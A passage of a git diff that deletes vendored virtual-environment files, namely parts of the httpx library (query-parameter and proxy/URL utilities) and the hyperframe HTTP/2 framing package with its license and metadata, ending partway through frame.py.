returned. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert list(q.values()) == ["123", "789"] - """ - return {k: v[0] for k, v in self._dict.items()}.values() - - def items(self) -> typing.ItemsView[str, str]: - """ - Return all items in the query params. If a key occurs more than once - only the first item for that key is returned. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert list(q.items()) == [("a", "123"), ("b", "789")] - """ - return {k: v[0] for k, v in self._dict.items()}.items() - - def multi_items(self) -> list[tuple[str, str]]: - """ - Return all items in the query params. Allow duplicate keys to occur. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert list(q.multi_items()) == [("a", "123"), ("a", "456"), ("b", "789")] - """ - multi_items: list[tuple[str, str]] = [] - for k, v in self._dict.items(): - multi_items.extend([(k, i) for i in v]) - return multi_items - - def get(self, key: typing.Any, default: typing.Any = None) -> typing.Any: - """ - Get a value from the query param for a given key. If the key occurs - more than once, then only the first value is returned. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert q.get("a") == "123" - """ - if key in self._dict: - return self._dict[str(key)][0] - return default - - def get_list(self, key: str) -> list[str]: - """ - Get all values from the query param for a given key. - - Usage: - - q = httpx.QueryParams("a=123&a=456&b=789") - assert q.get_list("a") == ["123", "456"] - """ - return list(self._dict.get(str(key), [])) - - def set(self, key: str, value: typing.Any = None) -> QueryParams: - """ - Return a new QueryParams instance, setting the value of a key. - - Usage: - - q = httpx.QueryParams("a=123") - q = q.set("a", "456") - assert q == httpx.QueryParams("a=456") - """ - q = QueryParams() - q._dict = dict(self._dict) - q._dict[str(key)] = [primitive_value_to_str(value)] - return q - - def add(self, key: str, value: typing.Any = None) -> QueryParams: - """ - Return a new QueryParams instance, setting or appending the value of a key. - - Usage: - - q = httpx.QueryParams("a=123") - q = q.add("a", "456") - assert q == httpx.QueryParams("a=123&a=456") - """ - q = QueryParams() - q._dict = dict(self._dict) - q._dict[str(key)] = q.get_list(key) + [primitive_value_to_str(value)] - return q - - def remove(self, key: str) -> QueryParams: - """ - Return a new QueryParams instance, removing the value of a key. - - Usage: - - q = httpx.QueryParams("a=123") - q = q.remove("a") - assert q == httpx.QueryParams("") - """ - q = QueryParams() - q._dict = dict(self._dict) - q._dict.pop(str(key), None) - return q - - def merge(self, params: QueryParamTypes | None = None) -> QueryParams: - """ - Return a new QueryParams instance, updated with. - - Usage: - - q = httpx.QueryParams("a=123") - q = q.merge({"b": "456"}) - assert q == httpx.QueryParams("a=123&b=456") - - q = httpx.QueryParams("a=123") - q = q.merge({"a": "456", "b": "789"}) - assert q == httpx.QueryParams("a=456&b=789") - """ - q = QueryParams(params) - q._dict = {**self._dict, **q._dict} - return q - - def __getitem__(self, key: typing.Any) -> str: - return self._dict[key][0] - - def __contains__(self, key: typing.Any) -> bool: - return key in self._dict - - def __iter__(self) -> typing.Iterator[typing.Any]: - return iter(self.keys()) - - def __len__(self) -> int: - return len(self._dict) - - def __bool__(self) -> bool: - return bool(self._dict) - - def __hash__(self) -> int: - return hash(str(self)) - - def __eq__(self, other: typing.Any) -> bool: - if not isinstance(other, self.__class__): - return False - return sorted(self.multi_items()) == sorted(other.multi_items()) - - def __str__(self) -> str: - return urlencode(self.multi_items()) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - query_string = str(self) - return f"{class_name}({query_string!r})" - - def update(self, params: QueryParamTypes | None = None) -> None: - raise RuntimeError( - "QueryParams are immutable since 0.18.0. " - "Use `q = q.merge(...)` to create an updated copy." - ) - - def __setitem__(self, key: str, value: str) -> None: - raise RuntimeError( - "QueryParams are immutable since 0.18.0. " - "Use `q = q.set(key, value)` to create an updated copy." - ) diff --git a/venv/Lib/site-packages/httpx/_utils.py b/venv/Lib/site-packages/httpx/_utils.py deleted file mode 100644 index 7fe827da4d071b32ea6da44328629699d6fc88ce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_utils.py +++ /dev/null @@ -1,242 +0,0 @@ -from __future__ import annotations - -import ipaddress -import os -import re -import typing -from urllib.request import getproxies - -from ._types import PrimitiveData - -if typing.TYPE_CHECKING: # pragma: no cover - from ._urls import URL - - -def primitive_value_to_str(value: PrimitiveData) -> str: - """ - Coerce a primitive data type into a string value. - - Note that we prefer JSON-style 'true'/'false' for boolean values here. - """ - if value is True: - return "true" - elif value is False: - return "false" - elif value is None: - return "" - return str(value) - - -def get_environment_proxies() -> dict[str, str | None]: - """Gets proxy information from the environment""" - - # urllib.request.getproxies() falls back on System - # Registry and Config for proxies on Windows and macOS. - # We don't want to propagate non-HTTP proxies into - # our configuration such as 'TRAVIS_APT_PROXY'. - proxy_info = getproxies() - mounts: dict[str, str | None] = {} - - for scheme in ("http", "https", "all"): - if proxy_info.get(scheme): - hostname = proxy_info[scheme] - mounts[f"{scheme}://"] = ( - hostname if "://" in hostname else f"http://{hostname}" - ) - - no_proxy_hosts = [host.strip() for host in proxy_info.get("no", "").split(",")] - for hostname in no_proxy_hosts: - # See https://curl.haxx.se/libcurl/c/CURLOPT_NOPROXY.html for details - # on how names in `NO_PROXY` are handled. - if hostname == "*": - # If NO_PROXY=* is used or if "*" occurs as any one of the comma - # separated hostnames, then we should just bypass any information - # from HTTP_PROXY, HTTPS_PROXY, ALL_PROXY, and always ignore - # proxies. - return {} - elif hostname: - # NO_PROXY=.google.com is marked as "all://*.google.com, - # which disables "www.google.com" but not "google.com" - # NO_PROXY=google.com is marked as "all://*google.com, - # which disables "www.google.com" and "google.com". - # (But not "wwwgoogle.com") - # NO_PROXY can include domains, IPv6, IPv4 addresses and "localhost" - # NO_PROXY=example.com,::1,localhost,192.168.0.0/16 - if "://" in hostname: - mounts[hostname] = None - elif is_ipv4_hostname(hostname): - mounts[f"all://{hostname}"] = None - elif is_ipv6_hostname(hostname): - mounts[f"all://[{hostname}]"] = None - elif hostname.lower() == "localhost": - mounts[f"all://{hostname}"] = None - else: - mounts[f"all://*{hostname}"] = None - - return mounts - - -def to_bytes(value: str | bytes, encoding: str = "utf-8") -> bytes: - return value.encode(encoding) if isinstance(value, str) else value - - -def to_str(value: str | bytes, encoding: str = "utf-8") -> str: - return value if isinstance(value, str) else value.decode(encoding) - - -def to_bytes_or_str(value: str, match_type_of: typing.AnyStr) -> typing.AnyStr: - return value if isinstance(match_type_of, str) else value.encode() - - -def unquote(value: str) -> str: - return value[1:-1] if value[0] == value[-1] == '"' else value - - -def peek_filelike_length(stream: typing.Any) -> int | None: - """ - Given a file-like stream object, return its length in number of bytes - without reading it into memory. - """ - try: - # Is it an actual file? - fd = stream.fileno() - # Yup, seems to be an actual file. - length = os.fstat(fd).st_size - except (AttributeError, OSError): - # No... Maybe it's something that supports random access, like `io.BytesIO`? - try: - # Assuming so, go to end of stream to figure out its length, - # then put it back in place. - offset = stream.tell() - length = stream.seek(0, os.SEEK_END) - stream.seek(offset) - except (AttributeError, OSError): - # Not even that? Sorry, we're doomed... - return None - - return length - - -class URLPattern: - """ - A utility class currently used for making lookups against proxy keys... - - # Wildcard matching... - >>> pattern = URLPattern("all://") - >>> pattern.matches(httpx.URL("http://example.com")) - True - - # Witch scheme matching... - >>> pattern = URLPattern("https://") - >>> pattern.matches(httpx.URL("https://example.com")) - True - >>> pattern.matches(httpx.URL("http://example.com")) - False - - # With domain matching... - >>> pattern = URLPattern("https://example.com") - >>> pattern.matches(httpx.URL("https://example.com")) - True - >>> pattern.matches(httpx.URL("http://example.com")) - False - >>> pattern.matches(httpx.URL("https://other.com")) - False - - # Wildcard scheme, with domain matching... - >>> pattern = URLPattern("all://example.com") - >>> pattern.matches(httpx.URL("https://example.com")) - True - >>> pattern.matches(httpx.URL("http://example.com")) - True - >>> pattern.matches(httpx.URL("https://other.com")) - False - - # With port matching... - >>> pattern = URLPattern("https://example.com:1234") - >>> pattern.matches(httpx.URL("https://example.com:1234")) - True - >>> pattern.matches(httpx.URL("https://example.com")) - False - """ - - def __init__(self, pattern: str) -> None: - from ._urls import URL - - if pattern and ":" not in pattern: - raise ValueError( - f"Proxy keys should use proper URL forms rather " - f"than plain scheme strings. " - f'Instead of "{pattern}", use "{pattern}://"' - ) - - url = URL(pattern) - self.pattern = pattern - self.scheme = "" if url.scheme == "all" else url.scheme - self.host = "" if url.host == "*" else url.host - self.port = url.port - if not url.host or url.host == "*": - self.host_regex: typing.Pattern[str] | None = None - elif url.host.startswith("*."): - # *.example.com should match "www.example.com", but not "example.com" - domain = re.escape(url.host[2:]) - self.host_regex = re.compile(f"^.+\\.{domain}$") - elif url.host.startswith("*"): - # *example.com should match "www.example.com" and "example.com" - domain = re.escape(url.host[1:]) - self.host_regex = re.compile(f"^(.+\\.)?{domain}$") - else: - # example.com should match "example.com" but not "www.example.com" - domain = re.escape(url.host) - self.host_regex = re.compile(f"^{domain}$") - - def matches(self, other: URL) -> bool: - if self.scheme and self.scheme != other.scheme: - return False - if ( - self.host - and self.host_regex is not None - and not self.host_regex.match(other.host) - ): - return False - if self.port is not None and self.port != other.port: - return False - return True - - @property - def priority(self) -> tuple[int, int, int]: - """ - The priority allows URLPattern instances to be sortable, so that - we can match from most specific to least specific. - """ - # URLs with a port should take priority over URLs without a port. - port_priority = 0 if self.port is not None else 1 - # Longer hostnames should match first. - host_priority = -len(self.host) - # Longer schemes should match first. - scheme_priority = -len(self.scheme) - return (port_priority, host_priority, scheme_priority) - - def __hash__(self) -> int: - return hash(self.pattern) - - def __lt__(self, other: URLPattern) -> bool: - return self.priority < other.priority - - def __eq__(self, other: typing.Any) -> bool: - return isinstance(other, URLPattern) and self.pattern == other.pattern - - -def is_ipv4_hostname(hostname: str) -> bool: - try: - ipaddress.IPv4Address(hostname.split("/")[0]) - except Exception: - return False - return True - - -def is_ipv6_hostname(hostname: str) -> bool: - try: - ipaddress.IPv6Address(hostname.split("/")[0]) - except Exception: - return False - return True diff --git a/venv/Lib/site-packages/httpx/py.typed b/venv/Lib/site-packages/httpx/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/INSTALLER b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/LICENSE b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/LICENSE deleted file mode 100644 index d24c351e1889b5b7837e4c9c1dc59334191c7f2c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Cory Benfield - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/METADATA b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/METADATA deleted file mode 100644 index bf81d5ffb30ca61725cd473fe7074fb92d572e6a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/METADATA +++ /dev/null @@ -1,98 +0,0 @@ -Metadata-Version: 2.2 -Name: hyperframe -Version: 6.1.0 -Summary: Pure-Python HTTP/2 framing -Author-email: Cory Benfield -Maintainer-email: Thomas Kriechbaumer -License: The MIT License (MIT) - - Copyright (c) 2014 Cory Benfield - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. - -Project-URL: Homepage, https://github.com/python-hyper/hyperframe/ -Project-URL: Bug Reports, https://github.com/python-hyper/hyperframe/issues -Project-URL: Source, https://github.com/python-hyper/hyperframe/ -Project-URL: Documentation, https://python-hyper.org/ -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: MIT License -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Requires-Python: >=3.9 -Description-Content-Type: text/x-rst -License-File: LICENSE - -====================================== -hyperframe: Pure-Python HTTP/2 framing -====================================== - -.. image:: https://github.com/python-hyper/hyperframe/workflows/CI/badge.svg - :target: https://github.com/python-hyper/hyperframe/actions - :alt: Build Status -.. image:: https://codecov.io/gh/python-hyper/hyperframe/branch/master/graph/badge.svg - :target: https://codecov.io/gh/python-hyper/hyperframe - :alt: Code Coverage -.. image:: https://readthedocs.org/projects/hyperframe/badge/?version=latest - :target: https://hyperframe.readthedocs.io/en/latest/ - :alt: Documentation Status -.. image:: https://img.shields.io/badge/chat-join_now-brightgreen.svg - :target: https://gitter.im/python-hyper/community - :alt: Chat community - -This library contains the HTTP/2 framing code used in the `hyper`_ project. It -provides a pure-Python codebase that is capable of decoding a binary stream -into HTTP/2 frames. - -This library is used directly by `hyper`_ and a number of other projects to -provide HTTP/2 frame decoding logic. - -Contributing -============ - -hyperframe welcomes contributions from anyone! Unlike many other projects we -are happy to accept cosmetic contributions and small contributions, in addition -to large feature requests and changes. - -Before you contribute (either by opening an issue or filing a pull request), -please `read the contribution guidelines`_. - -.. _read the contribution guidelines: http://hyper.readthedocs.org/en/development/contributing.html - -License -======= - -hyperframe is made available under the MIT License. For more details, see the -``LICENSE`` file in the repository. - -Authors -======= - -hyperframe is maintained by Cory Benfield, with contributions from others. For -more details about the contributors, please see ``CONTRIBUTORS.rst``. - -.. _hyper: http://python-hyper.org/ diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/RECORD b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/RECORD deleted file mode 100644 index cf21ba565e215f527df7bbd7bb86bf8312424df9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/RECORD +++ /dev/null @@ -1,15 +0,0 @@ -hyperframe-6.1.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -hyperframe-6.1.0.dist-info/LICENSE,sha256=djqTQqBN9iBGydx0ilKHk06wpTMcaGOzygruIOGMtO0,1080 -hyperframe-6.1.0.dist-info/METADATA,sha256=op9XkrlFm0dliASYhSAAkVbvjC3qZgIsKWmhRQZbrWk,4339 -hyperframe-6.1.0.dist-info/RECORD,, -hyperframe-6.1.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91 -hyperframe-6.1.0.dist-info/top_level.txt,sha256=aIXWNxzKF_jwE8lyWG5Paqn5RP7PDBYeguraia-oHJE,11 -hyperframe/__init__.py,sha256=Q_MBdkIECWTLvksOXg5nYHUX8jA8hhoQsuj6OUQ24lI,111 -hyperframe/__pycache__/__init__.cpython-314.pyc,, -hyperframe/__pycache__/exceptions.cpython-314.pyc,, -hyperframe/__pycache__/flags.cpython-314.pyc,, -hyperframe/__pycache__/frame.cpython-314.pyc,, -hyperframe/exceptions.py,sha256=DZLrZw5y7MLBMRkxCxrqf5Ehz8BoE2n7MpVap4D5vcI,1516 -hyperframe/flags.py,sha256=9lvpaeKXrfYeuxj8Xeq21ED40ODTipo3ZXeDUiX5WZI,1294 -hyperframe/frame.py,sha256=asYhkhkOr1vRB3fuZYE1HIhTIFD0JNOWWwZ8vedzWxU,31659 -hyperframe/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/WHEEL b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/WHEEL deleted file mode 100644 index 505164bc02d63fe6b0b3299f849a77c5f1beeb41..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (75.8.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/top_level.txt b/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/top_level.txt deleted file mode 100644 index b21bb7c4d81d810d4cf96c8d59f2b0f6a54e6eab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe-6.1.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -hyperframe diff --git a/venv/Lib/site-packages/hyperframe/__init__.py b/venv/Lib/site-packages/hyperframe/__init__.py deleted file mode 100644 index e95b20b910f19bf504b6726a531231f083d73658..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -""" -Provides a pure-Python HTTP/2 framing layer. -""" -from __future__ import annotations - -__version__ = "6.1.0" diff --git a/venv/Lib/site-packages/hyperframe/exceptions.py b/venv/Lib/site-packages/hyperframe/exceptions.py deleted file mode 100644 index 7a40f4ab767eeaad952e268010fc080475912b93..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe/exceptions.py +++ /dev/null @@ -1,61 +0,0 @@ -""" -Exceptions that can be thrown by hyperframe. -""" -from __future__ import annotations - - -class HyperframeError(Exception): - """ - The base class for all exceptions for the hyperframe module. - - .. versionadded:: 6.0.0 - """ - - -class UnknownFrameError(HyperframeError): - """ - A frame of unknown type was received. - - .. versionchanged:: 6.0.0 - Changed base class from `ValueError` to :class:`HyperframeError` - """ - - def __init__(self, frame_type: int, length: int) -> None: - #: The type byte of the unknown frame that was received. - self.frame_type = frame_type - - #: The length of the data portion of the unknown frame. - self.length = length - - def __str__(self) -> str: - return ( - f"UnknownFrameError: Unknown frame type 0x{self.frame_type:X} received, length {self.length} bytes" - ) - - -class InvalidPaddingError(HyperframeError): - """ - A frame with invalid padding was received. - - .. versionchanged:: 6.0.0 - Changed base class from `ValueError` to :class:`HyperframeError` - """ - - -class InvalidFrameError(HyperframeError): - """ - Parsing a frame failed because the data was not laid out appropriately. - - .. versionadded:: 3.0.2 - - .. versionchanged:: 6.0.0 - Changed base class from `ValueError` to :class:`HyperframeError` - """ - - -class InvalidDataError(HyperframeError): - """ - Content or data of a frame was is invalid or violates the specification. - - .. versionadded:: 6.0.0 - """ diff --git a/venv/Lib/site-packages/hyperframe/flags.py b/venv/Lib/site-packages/hyperframe/flags.py deleted file mode 100644 index e5f4a22bd96e6ef3a327b962681bf6a9a76f5804..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe/flags.py +++ /dev/null @@ -1,47 +0,0 @@ -""" -Basic Flag and Flags data structures. -""" -from __future__ import annotations - -from collections.abc import Iterable, Iterator, MutableSet -from typing import NamedTuple - - -class Flag(NamedTuple): - name: str - bit: int - - -class Flags(MutableSet): # type: ignore - """ - A simple MutableSet implementation that will only accept known flags as - elements. - - Will behave like a regular set(), except that a ValueError will be thrown - when .add()ing unexpected flags. - """ - - def __init__(self, defined_flags: Iterable[Flag]) -> None: - self._valid_flags = {flag.name for flag in defined_flags} - self._flags: set[str] = set() - - def __repr__(self) -> str: - return repr(sorted(self._flags)) - - def __contains__(self, x: object) -> bool: - return self._flags.__contains__(x) - - def __iter__(self) -> Iterator[str]: - return self._flags.__iter__() - - def __len__(self) -> int: - return self._flags.__len__() - - def discard(self, value: str) -> None: - return self._flags.discard(value) - - def add(self, value: str) -> None: - if value not in self._valid_flags: - msg = f"Unexpected flag: {value}. Valid flags are: {self._valid_flags}" - raise ValueError(msg) - return self._flags.add(value) diff --git a/venv/Lib/site-packages/hyperframe/frame.py b/venv/Lib/site-packages/hyperframe/frame.py deleted file mode 100644 index a67487e0473c4d003505eef4e43cfeda3c76b1da..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hyperframe/frame.py +++ /dev/null @@ -1,937 +0,0 @@ -""" -Framing logic for HTTP/2. - -Provides both classes to represent framed -data and logic for aiding the connection when it comes to reading from the -socket. -""" -from __future__ import annotations - -import binascii -import struct -from typing import TYPE_CHECKING, Any - -if TYPE_CHECKING: - from collections.abc import Iterable # pragma: no cover - -from .exceptions import InvalidDataError, InvalidFrameError, InvalidPaddingError, UnknownFrameError -from .flags import Flag, Flags - -# The maximum initial length of a frame. Some frames have shorter maximum -# lengths. -FRAME_MAX_LEN = (2 ** 14) - -# The maximum allowed length of a frame. -FRAME_MAX_ALLOWED_LEN = (2 ** 24) - 1 - -# Stream association enumerations. -_STREAM_ASSOC_HAS_STREAM = "has-stream" -_STREAM_ASSOC_NO_STREAM = "no-stream" -_STREAM_ASSOC_EITHER = "either" - -# Structs for packing and unpacking -_STRUCT_HBBBL = struct.Struct(">HBBBL") -_STRUCT_LL = struct.Struct(">LL") -_STRUCT_HL = struct.Struct(">HL") -_STRUCT_LB = struct.Struct(">LB") -_STRUCT_L = struct.Struct(">L") -_STRUCT_H = struct.Struct(">H") -_STRUCT_B = struct.Struct(">B") - - -class Frame: - """ - The base class for all HTTP/2 frames. - """ - - #: The flags defined on this type of frame. - defined_flags: list[Flag] = [] - - #: The byte used to define the type of the frame. - type: int | None = None - - # If 'has-stream', the frame's stream_id must be non-zero. If 'no-stream', - # it must be zero. If 'either', it's not checked. - stream_association: str | None = None - - def __init__(self, stream_id: int, flags: Iterable[str] = ()) -> None: - #: The stream identifier for the stream this frame was received on. - #: Set to 0 for frames sent on the connection (stream-id 0). - self.stream_id = stream_id - - #: The flags set for this frame. - self.flags = Flags(self.defined_flags) - - #: The frame length, excluding the nine-byte header. - self.body_len = 0 - - for flag in flags: - self.flags.add(flag) - - if not self.stream_id and self.stream_association == _STREAM_ASSOC_HAS_STREAM: - msg = f"Stream ID must be non-zero for {type(self).__name__}" - raise InvalidDataError(msg) - if self.stream_id and self.stream_association == _STREAM_ASSOC_NO_STREAM: - msg = f"Stream ID must be zero for {type(self).__name__} with stream_id={self.stream_id}" - raise InvalidDataError(msg) - - def __repr__(self) -> str: - return ( - f"{type(self).__name__}(stream_id={self.stream_id}, flags={self.flags!r}): {self._body_repr()}" - ) - - def _body_repr(self) -> str: - # More specific implementation may be provided by subclasses of Frame. - # This fallback shows the serialized (and truncated) body content. - return _raw_data_repr(self.serialize_body()) - - @staticmethod - def explain(data: memoryview) -> tuple[Frame, int]: - """ - Takes a bytestring and tries to parse a single frame and print it. - - This function is only provided for debugging purposes. - - :param data: A memoryview object containing the raw data of at least - one complete frame (header and body). - - .. versionadded:: 6.0.0 - """ - frame, length = Frame.parse_frame_header(data[:9]) - frame.parse_body(data[9:9 + length]) - print(frame) # noqa: T201 - return frame, length - - @staticmethod - def parse_frame_header(header: memoryview, strict: bool = False) -> tuple[Frame, int]: - """ - Takes a 9-byte frame header and returns a tuple of the appropriate - Frame object and the length that needs to be read from the socket. - - This populates the flags field, and determines how long the body is. - - :param header: A memoryview object containing the 9-byte frame header - data of a frame. Must not contain more or less. - - :param strict: Whether to raise an exception when encountering a frame - not defined by spec and implemented by hyperframe. - - :raises hyperframe.exceptions.UnknownFrameError: If a frame of unknown - type is received. - - .. versionchanged:: 5.0.0 - Added ``strict`` parameter to accommodate :class:`ExtensionFrame` - """ - try: - fields = _STRUCT_HBBBL.unpack(header) - except struct.error as err: - msg = "Invalid frame header" - raise InvalidFrameError(msg) from err - - # First 24 bits are frame length. - length = (fields[0] << 8) + fields[1] - typ_e = fields[2] - flags = fields[3] - stream_id = fields[4] & 0x7FFFFFFF - - try: - frame = FRAMES[typ_e](stream_id) - except KeyError as err: - if strict: - raise UnknownFrameError(typ_e, length) from err - frame = ExtensionFrame(type=typ_e, stream_id=stream_id) - - frame.parse_flags(flags) - return (frame, length) - - def parse_flags(self, flag_byte: int) -> Flags: - for flag, flag_bit in self.defined_flags: - if flag_byte & flag_bit: - self.flags.add(flag) - - return self.flags - - def serialize(self) -> bytes: - """ - Convert a frame into a bytestring, representing the serialized form of - the frame. - """ - body = self.serialize_body() - self.body_len = len(body) - - # Build the common frame header. - # First, get the flags. - flags = 0 - - for flag, flag_bit in self.defined_flags: - if flag in self.flags: - flags |= flag_bit - - header = _STRUCT_HBBBL.pack( - (self.body_len >> 8) & 0xFFFF, # Length spread over top 24 bits - self.body_len & 0xFF, - self.type, - flags, - self.stream_id & 0x7FFFFFFF, # Stream ID is 32 bits. - ) - - return header + body - - def serialize_body(self) -> bytes: - raise NotImplementedError - - def parse_body(self, data: memoryview) -> None: - """ - Given the body of a frame, parses it into frame data. This populates - the non-header parts of the frame: that is, it does not populate the - stream ID or flags. - - :param data: A memoryview object containing the body data of the frame. - Must not contain *more* data than the length returned by - :meth:`parse_frame_header - `. - """ - raise NotImplementedError - - -class Padding: - """ - Mixin for frames that contain padding. Defines extra fields that can be - used and set by frames that can be padded. - """ - - def __init__(self, stream_id: int, pad_length: int = 0, **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) # type: ignore - - #: The length of the padding to use. - self.pad_length = pad_length - - def serialize_padding_data(self) -> bytes: - if "PADDED" in self.flags: # type: ignore - return _STRUCT_B.pack(self.pad_length) - return b"" - - def parse_padding_data(self, data: memoryview) -> int: - if "PADDED" in self.flags: # type: ignore - try: - self.pad_length = struct.unpack("!B", data[:1])[0] - except struct.error as err: - msg = "Invalid Padding data" - raise InvalidFrameError(msg) from err - return 1 - return 0 - - #: .. deprecated:: 5.2.1 - #: Use self.pad_length instead. - @property - def total_padding(self) -> int: # pragma: no cover - import warnings - warnings.warn( - "total_padding contains the same information as pad_length.", - DeprecationWarning, - stacklevel=2, - ) - return self.pad_length - - -class Priority: - """ - Mixin for frames that contain priority data. Defines extra fields that can - be used and set by frames that contain priority data. - """ - - def __init__(self, - stream_id: int, - depends_on: int = 0x0, - stream_weight: int = 0x0, - exclusive: bool = False, - **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) # type: ignore - - #: The stream ID of the stream on which this stream depends. - self.depends_on = depends_on - - #: The weight of the stream. This is an integer between 0 and 256. - self.stream_weight = stream_weight - - #: Whether the exclusive bit was set. - self.exclusive = exclusive - - def serialize_priority_data(self) -> bytes: - return _STRUCT_LB.pack( - self.depends_on + (0x80000000 if self.exclusive else 0), - self.stream_weight, - ) - - def parse_priority_data(self, data: memoryview) -> int: - try: - self.depends_on, self.stream_weight = _STRUCT_LB.unpack(data[:5]) - except struct.error as err: - msg = "Invalid Priority data" - raise InvalidFrameError(msg) from err - - self.exclusive = bool(self.depends_on >> 31) - self.depends_on &= 0x7FFFFFFF - return 5 - - -class DataFrame(Padding, Frame): - """ - DATA frames convey arbitrary, variable-length sequences of octets - associated with a stream. One or more DATA frames are used, for instance, - to carry HTTP request or response payloads. - """ - - #: The flags defined for DATA frames. - defined_flags = [ - Flag("END_STREAM", 0x01), - Flag("PADDED", 0x08), - ] - - #: The type byte for data frames. - type = 0x0 - - stream_association = _STREAM_ASSOC_HAS_STREAM - - def __init__(self, stream_id: int, data: bytes = b"", **kwargs: Any) -> None: - super().__init__(stream_id, **kwargs) - - #: The data contained on this frame. - self.data = data - - def serialize_body(self) -> bytes: - padding_data = self.serialize_padding_data() - padding = b"\0" * self.pad_length - if isinstance(self.data, memoryview): - self.data = self.data.tobytes() - return b"".join([padding_data, self.data, padding]) - - def parse_body(self, data: memoryview) -> None: - padding_data_length = self.parse_padding_data(data) - self.data = ( - data[padding_data_length:len(data)-self.pad_length].tobytes() - ) - self.body_len = len(data) - - if self.pad_length and self.pad_length >= self.body_len: - msg = "Padding is too long." - raise InvalidPaddingError(msg) - - @property - def flow_controlled_length(self) -> int: - """ - The length of the frame that needs to be accounted for when considering - flow control. - """ - padding_len = 0 - if "PADDED" in self.flags: - # Account for extra 1-byte padding length field, which is still - # 